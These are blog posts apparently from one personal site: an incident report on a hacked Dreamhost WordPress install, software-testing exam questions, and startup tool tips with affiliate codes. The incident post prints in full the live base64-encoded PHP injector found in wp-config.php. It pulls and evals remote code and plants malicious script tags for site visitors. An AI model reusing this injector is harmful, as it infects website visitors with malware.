Securing Shared Hosting Websites (Dreamhost)

UPDATE: Looks like I was wrong and figured out how they hacked my configuration.  You need to do a careful review of your file permissions.  Specifically in my case it was wp-config.php

Make sure it has no higher permissions than a 640.  If it does, go ahead and change passwords while you’re at it since that’s been compromised as well even if not changed. Here’s the malicious code below for those who are curious on how it was made:

eval(base64_decode(“aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJF9TRVJWRVJbJ21yX25vJ10pKXsgICRfU0VSVkVSWydtcl9ubyddPTE7ICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICBmdW5jdGlvbiBnZXRfdGRzXzc3NygkdXJsKXskY29udGVudD0iIjskY29udGVudD1AdHJ5Y3VybF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZpbGVfNzc3KCR1cmwpO2lmKCRjb250ZW50IT09ZmFsc2UpcmV0dXJuICRjb250ZW50OyRjb250ZW50PUB0cnlmb3Blbl83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZzb2Nrb3Blbl83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeXNvY2tldF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7cmV0dXJuICcnO30gIGZ1bmN0aW9uIHRyeWN1cmxfNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0Jyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JGNoID0gY3VybF9pbml0ICgpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVVJMLCR1cmwpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVElNRU9VVCwgNSk7Y3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOyRyZXN1bHQgPSBjdXJsX2V4ZWMgKCRjaCk7Y3VybF9jbG9zZSgkY2gpO2lmICgkcmVzdWx0PT0iIilyZXR1cm4gZmFsc2U7cmV0dXJuICRyZXN1bHQ7fSAgZnVuY3Rpb24gdHJ5ZmlsZV83NzcoJHVybCl7aWYoZnVuY3Rpb25fZXhpc3RzKCdmaWxlJyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JGluYz1AZmlsZSgkdXJsKTskYnVmPUBpbXBsb2RlKCcnLCRpbmMpO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdHJ5Zm9wZW5fNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnZm9wZW4nKT09PWZhbHNlKXJldHVybiBmYWxzZTskYnVmPScnOyRmPUBmb3BlbigkdXJsLCdyJyk7aWYgKCRmKXt3aGlsZSghZmVvZigkZikpeyRidWYuPWZyZWFkKCRmLDEwMDAwKTt9ZmNsb3NlKCRmKTt9ZWxzZSByZXR1cm4gZmFsc2U7aWYgKCRidWY9PSIiKXJldHVybiBmYWxzZTtyZXR1cm4gJGJ1Zjt9ICBmdW5jdGlvbiB0cnlmc29ja29wZW5fNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnZnNvY2tvcGVuJyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JHA9QHBhcnNlX3VybCgkdXJsKTskaG9zdD0kcFsnaG9zdCddOyR1cmk9JHBbJ3BhdGgnXS4nPycuJHBbJ3F1ZXJ5J107JGY9QGZzb2Nrb3BlbigkaG9zdCw4MCwkZXJybm8sICRlcnJzdHIsMzApO2lmKCEkZilyZXR1cm4gZmFsc2U7JHJlcXVlc3QgPSJHRVQgJHVyaSBIVFRQLzEuMFxuIjskcmVxdWVzdC49Ikhvc3Q6ICRob3N0XG5cbiI7ZndyaXRlKCRmLCRyZXF1ZXN0KTskYnVmPScnO3doaWxlKCFmZW9mKCRmKSl7JGJ1Zi49ZnJlYWQoJGYsMTAwMDApO31mY2xvc2UoJGYpO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7bGlzdCgkbSwkYnVmKT1leHBsb2RlKGNocigxMykuY2hyKDEwKS5jaHIoMTMpLmNocigxMCksJGJ1Zik7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdHJ5c29ja2V0Xzc3NygkdXJsKXtpZihmdW5jdGlvbl9leGlzdHMoJ3NvY2tldF9jcmVhdGUnKT09PWZhbHNlKXJldHVybiBmYWxzZTskcD1AcGFyc2VfdXJsKCR1cmwpOyRob3N0PSRwWydob3N0J107JHVyaT0kcFsncGF0aCddLic/Jy4kcFsncXVlcnknXTskaXAxPUBnZXRob3N0YnluYW1lKCRob3N0KTskaXAyPUBsb25nMmlwKEBpcDJsb25nKCRpcDEpKTsgaWYgKCRpcDEhPSRpcDIpcmV0dXJuIGZhbHNlOyRzb2NrPUBzb2NrZXRfY3JlYXRlKEFGX0lORVQsU09DS19TVFJFQU0sU09MX1RDUCk7aWYgKCFAc29ja2V0X2Nvbm5lY3QoJHNvY2ssJGlwMSw4MCkpe0Bzb2NrZXRfY2xvc2UoJHNvY2spO3JldHVybiBmYWxzZTt9JHJlcXVlc3QgPSJHRVQgJHVyaSBIVFRQLzEuMFxuIjskcmVxdWVzdC49Ikhvc3Q6ICRob3N0XG5cbiI7c29ja2V0X3dyaXRlKCRzb2NrLCRyZXF1ZXN0KTskYnVmPScnO3doaWxlKCR0PXNvY2tldF9yZWFkKCRzb2NrLDEwMDAwKSl7JGJ1Zi49JHQ7fUBzb2NrZXRfY2xvc2UoJHNvY2spO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7bGlzdCgkbSwkYnVmKT1leHBsb2RlKGNocigxMykuY2hyKDEwKS5jaHIoMTMpLmNocigxMCksJGJ1Zik7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdXBkYXRlX3Rkc19maWxlXzc3NygkdGRzZmlsZSl7JGFjdHVhbDE9JF9TRVJWRVJbJ3NfYTEnXTskYWN0dWFsMj0kX1NFUlZFUlsnc19hMiddOyR2YWw9Z2V0X3Rkc183NzcoJGFjdHVhbDEpO2lmICgkdmFsPT0iIikkdmFsPWdldF90ZHNfNzc3KCRhY3R1YWwyKTskZj1AZm9wZW4oJHRkc2ZpbGUsInciKTtpZiAoJGYpe0Bmd3JpdGUoJGYsJHZhbCk7QGZjbG9zZSgkZik7fWlmIChzdHJzdHIoJHZhbCwifHx8Q09ERXx8fCIpKXtsaXN0KCR2YWwsJGNvZGUpPWV4cGxvZGUoInx8fENPREV8fHwiLCR2YWwpO2V2YWwoYmFzZTY0X2RlY29kZSgkY29kZSkpO31yZXR1cm4gJHZhbDt9ICBmdW5jdGlvbiBnZXRfYWN0dWFsX3Rkc183NzcoKXskZGVmYXVsdGRvbWFpbj0kX1NFUlZFUlsnc19kMSddOyRkaXI9JF9TRVJWRVJbJ3NfcDEnXTskdGRzZmlsZT0kZGlyLiJsb2cxLnR4dCI7aWYgKEBmaWxlX2V4aXN0cygkdGRzZmlsZSkpeyRtdGltZT1AZmlsZW10aW1lKCR0ZHNmaWxlKTskY3RpbWU9dGltZSgpLSRtdGltZTtpZiAoJGN0aW1lPiRfU0VSVkVSWydzX3QxJ10peyRjb250ZW50PXVwZGF0ZV90ZHNfZmlsZV83NzcoJHRkc2ZpbGUpO31lbHNleyRjb250ZW50PUBmaWxlX2dldF9jb250ZW50cygkdGRzZmlsZSk7fX1lbHNleyRjb250ZW50PXVwZGF0ZV90ZHNfZmlsZV83NzcoJHRkc2ZpbGUpO30kdGRzPUBleHBsb2RlKCJcbiIsJGNvbnRlbnQpOyRjPUBjb3VudCgkdGRzKSswOyR1cmw9JGRlZmF1bHRkb21haW47aWYgKCRjPjEpeyR1cmw9dHJpbSgkdGRzW210X3JhbmQoMCwkYy0yKV0pO31yZXR1cm4gJHVybDt9ICBmdW5jdGlvbiBpc19tYWNfNzc3KCR1YSl7JG1hYz0wO2lmIChzdHJpc3RyKCR1YSwibWFjIil8fHN0cmlzdHIoJHVhLCJzYWZhcmkiKSlpZiAoKCFzdHJpc3RyKCR1YSwid2luZG93cyIpKSYmKCFzdHJpc3RyKCR1YSwiaXBob25lIikpKSRtYWM9MTtyZXR1cm4gJG1hYzt9ICBmdW5jdGlvbiBpc19tc2llXzc3NygkdWEpeyRtc2llPTA7aWYgKHN0cmlzdHIoJHVhLCJNU0lFIDYiKXx8c3RyaXN0cigkdWEsIk1TSUUgNyIpfHxzdHJpc3RyKCR1YSwiTVNJRSA4Iil8fHN0cmlzdHIoJHVhLCJNU0lFIDkiKSkkbXNpZT0xO3JldHVybiAkbXNpZTt9ICAgIGZ1bmN0aW9uIHNldHVwX2dsb2JhbHNfNzc3KCl7JHJ6PSRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0uIi8ubG9ncy8iOyRtej0iL3RtcC8iO2lmICghaXNfZGlyKCRyeikpe0Bta2RpcigkcnopO2lmIChpc19kaXIoJHJ6KSl7JG16PSRyejt9ZWxzZXskcno9JF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdLiIvLmxvZ3MvIjtpZiAoIWlzX2RpcigkcnopKXtAbWtkaXIoJHJ6KTtpZiAoaXNfZGlyKCRyeikpeyRtej0kcno7fX1lbHNleyRtej0kcno7fX19ZWxzZXskbXo9JHJ6O30kYm90PTA7JHVhPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTtpZiAoc3RyaXN0cigkdWEsIm1zbmJvdCIpfHxzdHJpc3RyKCR1YSwiWWFob28iKSkkYm90PTE7aWYgKHN0cmlzdHIoJHVhLCJiaW5nYm90Iil8fHN0cmlzdHIoJHVhLCJnb29nbGUiKSkkYm90PTE7JG1zaWU9MDtpZiAoaXNfbXNpZV83NzcoJHVhKSkkbXNpZT0xOyRtYWM9MDtpZiAoaXNfbWFjXzc3NygkdWEpKSRtYWM9MTtpZiAoKCRtc2llPT0wKSYmKCRtYWM9PTApKSRib3Q9MTsgIGdsb2JhbCAkX1NFUlZFUjsgICAgJF9TRVJWRVJbJ3NfcDEnXT0kbXo7ICAkX1NFUlZFUlsnc19iMSddPSRib3Q7ICAkX1NFUlZFUlsnc190MSddPTEyMDA7ICAkX1NFUlZFUlsnc19kMSddPSJodHRwOi8vc3dlZXBzdGFrZXNhbmRjb250ZXN0c2RvLmNvbS8iOyAgJGQ9Jz9kPScudXJsZW5jb2RlKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuIiZwPSIudXJsZW5jb2RlKCRfU0VSVkVSWyJQSFBfU0VMRiJdKS4iJmE9Ii51cmxlbmNvZGUoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKTsgICRfU0VSVkVSWydzX2ExJ109J2h0dHA6Ly93d3cubGlseXBvcGhpbHlwb3AuY29tL2dfbG9hZC5waHAnLiRkOyAgJF9TRVJWRVJbJ3NfYTInXT0naHR0cDovL3d3dy5sb2x5cG9waG9seXBvcC5jb20vZ19sb2FkLnBocCcuJGQ7ICAkX1NFUlZFUlsnc19zY3JpcHQnXT0ibW0ucGhwP2Q9MSI7ICB9ICAgICAgc2V0dXBfZ2xvYmFsc183NzcoKTsgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ21sXzc3NycpKXsgIGZ1bmN0aW9uIGdtbF83NzcoKXsgICAgJHJfc3RyaW5nXzc3Nz0nJzsgIGlmICgkX1NFUlZFUlsnc19iMSddPT0wKSRyX3N0cmluZ183Nzc9JzxzY3JpcHQgc3JjPSInLmdldF9hY3R1YWxfdGRzXzc3NygpLiRfU0VSVkVSWydzX3NjcmlwdCddLiciPjwvc2NyaXB0Pic7ICByZXR1cm4gJHJfc3RyaW5nXzc3NzsgIH0gIH0gICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZWl0JykpeyAgZnVuY3Rpb24gZ3pkZWNvZGVpdCgkZGVjb2RlKXsgICR0PUBvcmQoQHN1YnN0cigkZGVjb2RlLDMsMSkpOyAgJHN0YXJ0PTEwOyAgJHY9MDsgIGlmKCR0JjQpeyAgJHN0cj1AdW5wYWNrKCd2JyxzdWJzdHIoJGRlY29kZSwxMCwyKSk7ICAkc3RyPSRzdHJbMV07ICAkc3RhcnQrPTIrJHN0cjsgIH0gIGlmKCR0JjgpeyAgJHN0YXJ0PUBzdHJwb3MoJGRlY29kZSxjaHIoMCksJHN0YXJ0KSsxOyAgfSAgaWYoJHQmMTYpeyAgJHN0YXJ0PUBzdHJwb3MoJGRlY29kZSxjaHIoMCksJHN0YXJ0KSsxOyAgfSAgaWYoJHQmMil7ICAkc3RhcnQrPTI7ICB9ICAkcmV0PUBnemluZmxhdGUoQHN1YnN0cigkZGVjb2RlLCRzdGFydCkpOyAgaWYoJHJldD09PUZBTFNFKXsgICRyZXQ9JGRlY29kZTsgIH0gIHJldHVybiAkcmV0OyAgfSAgfSAgZnVuY3Rpb24gbXJvYmgoJGNvbnRlbnQpeyAgQEhlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyAgJGRlY29kZWRfY29udGVudD1nemRlY29kZWl0KCRjb250ZW50KTsgIGlmKHByZWdfbWF0Y2goJy9cPFwvYm9keS9zaScsJGRlY29kZWRfY29udGVudCkpeyAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPFwvYm9keVteXD5dKlw+KS9zaScsZ21sXzc3NygpLiJcbiIuJyQxJywkZGVjb2RlZF9jb250ZW50KTsgIH1lbHNleyAgcmV0dXJuICRkZWNvZGVkX2NvbnRlbnQuZ21sXzc3NygpOyAgfSAgfSAgb2Jfc3RhcnQoJ21yb2JoJyk7ICB9ICB9″));

—

I have to say I was disheartened when Google sent me an email saying my website has been compromised and that it is serving malware.  I am pretty good and fairly conscious on security but I thought, it may still be a possibility my site was hacked.  So I finally took the time to investigate and find out what happened.  Unfortunately, there doesn’t seem to be a problem with my site.  According to Google, there are two other domains (don’t click them- it’s shown below) that are in fact spreading malware which seem to correlate with “2 suspicious activities”. Just to be on the safe side, I scanned my site using other online tools, and a code review of my index pages.  Everything seems to be in order.  I requested a review by Google to update their records so hopefully it won’t be too long to remove the warning.  As a side note, if you’re a security expert and can hack my site (cause you’re that good), I present to you a challenge to do so and educate me on how you did it. Below you’ll find the full warning that you see now when trying to visit my blog:

Safe Browsing

Diagnostic page for sharifhkhan.com

What is the current listing status for sharifhkhan.com?

Site is listed as suspicious – visiting this web site may harm your computer.

Part of this site was listed for suspicious activity 2 time(s) over the past 90 days.

What happened when Google visited this site?

Of the 5 pages we tested on the site over the past 90 days, 1 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 2012-04-24, and the last time suspicious content was found on this site was on 2012-04-10. Malicious software is hosted on 2 domain(s), including scannercustodiansolution.info/,sweepstakesandcontestsdo.com/.

2 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including sweepstakesandcontestsdo.com/, rjust18iceeme.rr.nu/.

This site was hosted on 1 network(s) including AS26347 (DREAMHOST).

Has this site acted as an intermediary resulting in further distribution of malware?

Over the past 90 days, sharifhkhan.com did not appear to function as an intermediary for the infection of any sites.

Has this site hosted malware?

No, this site has not hosted malicious software over the past 90 days.

How did this happen?

In some cases, third parties can add malicious code to legitimate sites, which would cause us to show the warning message.

Next steps:

• Return to the previous page.
• If you are the owner of this web site, you can request a review of your site using Google Webmaster Tools. More information about the review process is available in Google’s Webmaster Help Center.

Certified Software Test Engineer CSTE Essay Questions

If you’re interested in taking the CSTE, or Certified Software Test Engineer exam, here are some sample questions I wrote to help you get your brain in gear.  Many of these questions are based on actual questions asked in an exam. I am not posting solutions to these questions.  The key criteria is your approach to problem solving  and use of test theory, test methodology, and practical experience in your professional career.  Therefore, the strength of your argument will determine the accuracy of an answer.  The real exam from my experience is a bit easier as there is usually a ‘correct’ answer showcased in the study materials. Enjoy and let me know if you have any questions, I enjoyed writing them

• Why do we test software? Give at least five reasons.
• What is white box testing and black box testing? When should these tests be executed?
• What is the difference between software verification and software validation?
• How would you create an efficient set of tests for an input field?
• What is unit testing and how is it different from integration testing in an object oriented system?
• What is the difference between integration testing and system testing?
• Why should you automate testing and what cases are good candidates for test automation?
• When is software being over tested? Give at least five indicators.
• What are some major mistakes made in test planning, test execution, and reporting? Give at least five reasons.
• If you have limited time beyond what is necessary to complete the test plan, what would you do and how will determine sufficient testing is completed?
• What is the difference between static and dynamic testing? Give clear examples of each.
• Identify the key information necessary within a defect tracking system. Draw a state diagram and the lifecycle for a defect in this system. You should be able to justify your each choice.
• What would you test in a system with a multiple mobiles devices that you would not test with a single mobile device?
• What are three important test strategy differences to consider when testing a SaaS application versus an enterprise hosted application?
• List and explain five quantitative metrics you would use to plan, manage, and measure software testing.
• List and explain five criteria’s that should be met before testing is stopped for a project.
• What is most important for testing a real-time system versus testing a meta-data driven data synchronization system? Explain your answer and justify why you chose the same or different criteria for each system.
• Choose between ineffective security checks, ineffective data validation and ineffective error handling as the highest risk criteria and justify your answer.
• What is acceptance testing, who is the audience, and what are five important factors for this plan? Explain why these factors are important to your audience.
• How do you create and measure test plan progress and test execution progress?

Free Resources for Bootstrapped Startups

Pick a problem to solve and test market demand with Free Advertising from Google AdWords.  Advertising cost money but Google AdWords is giving 75 dollars credit.  Once approved, I’ve found there is a two week expiration for the coupon they send you.  So do some planning before you signup for the trial with Google. Best to do once you have a draft landing page ready to go.

Focus your landing page on the visitors who research. Those who feel the pain will buy anyway and those who just browse don’t have the pain.  Here’s my top 5 things to accomplish on a landing page for the researcher audience.

1. Tagline – describe what your product does – NOT how this will change the world!
2. Summary – show how the pain is solved using your product
3. Call to Action – clear texts, use of graphics, with a single goal
4. Social Proof – everybody’s doing it, add logo’s and supporting testimonials
5. Clean Design – ready for A/B testing and give confidence on site

With a landing page complete, start doing A/B testing to refine your message to help increase conversion rates.  Use Google Optimizer to do this for free.

Use Google Analytics to understand user behavior.  You can pass events from your funnel right into Analytics to capture user behavior.

Don’t make this a one way street; engage your customers.  With a small bit a of creative coding use phpESP for surveys.

http://sourceforge.net/projects/phpesp/

Chat and talk with your visitors using Mibew:

http://mibew.org/index.php

Both of their licenses are friendly for hacking and chopping to meet the needs of a startup.

I skipped over a few essential resources you may need if you’re just getting started such as hosting for your landing page.  You can can get cheap hosting from DreamHost and it’s perfect for testing landing pages with WordPress.  As a customer of DreamHost I can also give away free stuff. Note, I get a credit if you use a discount code.  Pick what works best for you:

• 3FREE500STRONG - Code for 3 Free Domain Registrations
• 3REG1IP500STRONG - Code for 3 Free Domain Registrations + 1 Unique IP Address

• 4FREE500STRONG - Code for 4 Free Domain Registrations
• 5FREE500STRONG - Code for 5 Free Domain Registrations

• 50OFF500STRONG - Code for 50 Dollars Off DreamHost
• 75OFF500STRONG - Code for 75 Dollars Off DreamHost

• <code via mailing list> - Code for 97 Dollars Off DreamHost (a Special Thank You!)

If you want a different combination of unique IP addresses and free registrations or want the code for 97 Dollars Off, subscribe to mailing list and let me know what you need.  I will create a custom code and send it to you.

Once you have your hosting setup, installing WordPress is a 1-click Install with DreamHost.  If you’re new to this and wondering how to use WordPress for your landing pages, I strongly recommend you subscribe to Elegant WordPress Themes and checkout their demo for convertible landing page theme. It’s a very cheap, fast and easy way to customize and create what you need in a very short amount of time.  I am a happy customer of Elegant Themes as well. Note, I get a credit if you purchase a subscription from the link below.

These resources are useful to do some fast testing for market fit of new products.  What’s on your list of top must-have getting started tools for bootstrapped startups?